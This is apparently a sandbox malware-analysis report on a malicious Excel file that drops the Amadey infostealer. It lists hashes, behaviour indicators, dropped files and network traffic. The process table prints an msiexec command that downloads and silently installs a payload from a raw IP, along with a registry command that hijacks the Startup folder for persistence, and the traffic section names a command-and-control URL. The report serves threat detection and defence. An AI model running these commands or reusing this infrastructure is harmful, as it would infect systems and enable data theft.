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| File name: | d33fd4d91e78f4e4cda03703159bc37e.xls |
| Full analysis: | https://app.any.run/tasks/a36b714c-bb10-47ca-bd9f-350157d9494e |
| Verdict: | Malicious activity |
| Threats: | Amadey is a formidable Windows infostealer threat, characterized by its persistence mechanisms, modular design, and ability to execute various malicious tasks. |
| Analysis date: | April 25, 2019, 05:48:34 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.ms-excel |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Last Saved By: 1, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Dec 19 10:42:12 2018, Last Saved Time/Date: Wed Apr 24 13:57:37 2019, Security: 0 |
| MD5: | D33FD4D91E78F4E4CDA03703159BC37E |
| SHA1: | D49232D4EB98B5730C895A5F3B1DCAEED89502F0 |
| SHA256: | F7A615EB750B37C381B3D8A563A2D2A810659094E2548FDBA95CED82FA390707 |
| SSDEEP: | 3072:tKpb8rGYrMPelwhKmFV5xtezEsgrdgNeEQSNfzAKAn8CsEwF:tKpb8rGYrMPelwhKmFV5xtuEsgrdgNHZ |
MALICIOUS
Uses Microsoft Installer as loader
- EXCEL.EXE (PID: 2316)
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 2316)
Changes the Startup folder
- REG.exe (PID: 644)
Downloads executable files from the Internet
- msiexec.exe (PID: 2972)
Application was dropped or rewritten from another process
- cmualrc.exe (PID: 2052)
Downloads executable files from IP
- msiexec.exe (PID: 2972)
AMADEY was detected
- cmualrc.exe (PID: 2052)
Connects to CnC server
- cmualrc.exe (PID: 2052)
SUSPICIOUS
Drop ExeToMSI Application
- msiexec.exe (PID: 2972)
Uses REG.EXE to modify Windows registry
- cmualrc.exe (PID: 2052)
Executable content was dropped or overwritten
- MSI3DB5.tmp (PID: 1668)
- msiexec.exe (PID: 2972)
Creates files in the program directory
- MSI3DB5.tmp (PID: 1668)
INFO
Application was dropped or rewritten from another process
- MSI3DB5.tmp (PID: 1668)
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 2316)
Writes to a desktop.ini file (may be used to cloak folders)
- msiexec.exe (PID: 2972)
Starts application with an unusual extension
- msiexec.exe (PID: 2972)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .xls | | | Microsoft Excel sheet (78.9) |
|---|
EXIF
FlashPix
| HeadingPairs: |
|
|---|---|
| TitleOfParts: |
|
| HyperlinksChanged: | No |
| SharedDoc: | No |
| LinksUpToDate: | No |
| ScaleCrop: | No |
| AppVersion: | 16 |
| Company: | Microsoft Corporation |
| CodePage: | Windows Cyrillic |
| Security: | None |
| ModifyDate: | 2019:04:24 12:57:37 |
| CreateDate: | 2018:12:19 10:42:12 |
| Software: | Microsoft Excel |
| LastModifiedBy: | 1 |
| Author: | Microsoft Office |
Total processes
38
Monitored processes
6
Malicious processes
4
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2316 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.6024.1000 | ||||
| 1472 | msiexec.exe STOP=1 /i http://92.38.135.134/dom2 /q ksw='%TEMP%' | C:\Windows\system32\msiexec.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
| 2972 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | |
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
| 1668 | "C:\Windows\Installer\MSI3DB5.tmp" | C:\Windows\Installer\MSI3DB5.tmp | msiexec.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 2052 | c:\programdata\f64a428dfd\cmualrc.exe | c:\programdata\f64a428dfd\cmualrc.exe | MSI3DB5.tmp | |
User: admin Integrity Level: MEDIUM | ||||
| 644 | REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\ProgramData\f64a428dfd | C:\Windows\system32\REG.exe | cmualrc.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Registry Console Tool Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
797
Read events
733
Write events
0
Delete events
0
Modification events
Executable files
3
Suspicious files
2
Text files
9
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2316 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR2DC4.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2972 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DF44CBBCA2C0814569.TMP | — | |
MD5:— | SHA256:— | |||
| 1668 | MSI3DB5.tmp | C:\ProgramData\0 | — | |
MD5:— | SHA256:— | |||
| 1668 | MSI3DB5.tmp | C:\programdata\f64a428dfd\cmualrc.exe:Zone.Identifier | — | |
MD5:— | SHA256:— | |||
| 2972 | msiexec.exe | C:\Config.Msi\113caa.rbs | — | |
MD5:— | SHA256:— | |||
| 2052 | cmualrc.exe | C:\ProgramData\0 | — | |
MD5:— | SHA256:— | |||
| 2972 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DFF175C4BB6BF90BAD.TMP | — | |
MD5:— | SHA256:— | |||
| 2972 | msiexec.exe | C:\Windows\Installer\MSI3CF7.tmp | binary | |
MD5:968DF399032682E94426A272FCA2D489 | SHA256:FE9B9AB9C153D3D41464521E6FF2F3D56ADB64C4FCC7464E0AB177EC1102BE92 | |||
| 2972 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.dat | dat | |
MD5:4EE248801305147E6B0AB806300B6FC2 | SHA256:3DFB560EA9F95725B1E450A528A050905FCE79A0CD4731B14C3F14494ED319A1 | |||
| 2972 | msiexec.exe | C:\Windows\Installer\MSI38D0.tmp | executable | |
MD5:78985160BDA86130570CAFEB6F7FCDDA | SHA256:6389E82E1674E56D006C2C58E36641DB661C35EBA3A7A418E5577C71497459DC | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2972 | msiexec.exe | GET | 200 | 92.38.135.134:80 | http://92.38.135.134/dom2 | RU | executable | 172 Kb | suspicious |
2052 | cmualrc.exe | POST | 200 | 89.45.19.24:80 | http://gohaiendo.com/ppk/index.php | RO | text | 6 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2052 | cmualrc.exe | 89.45.19.24:80 | gohaiendo.com | Real Network and Tel SRL | RO | suspicious |
2972 | msiexec.exe | 92.38.135.134:80 | — | — | RU | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
gohaiendo.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2972 | msiexec.exe | Misc activity | SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file |
2972 | msiexec.exe | Potential Corporate Privacy Violation | POLICY [PTsecurity] Executable application_x-msi Download |
2052 | cmualrc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Trojan.Win32.Amadey |
2052 | cmualrc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Trojan.Win32.Amadey |
2 ETPRO signatures available at the full report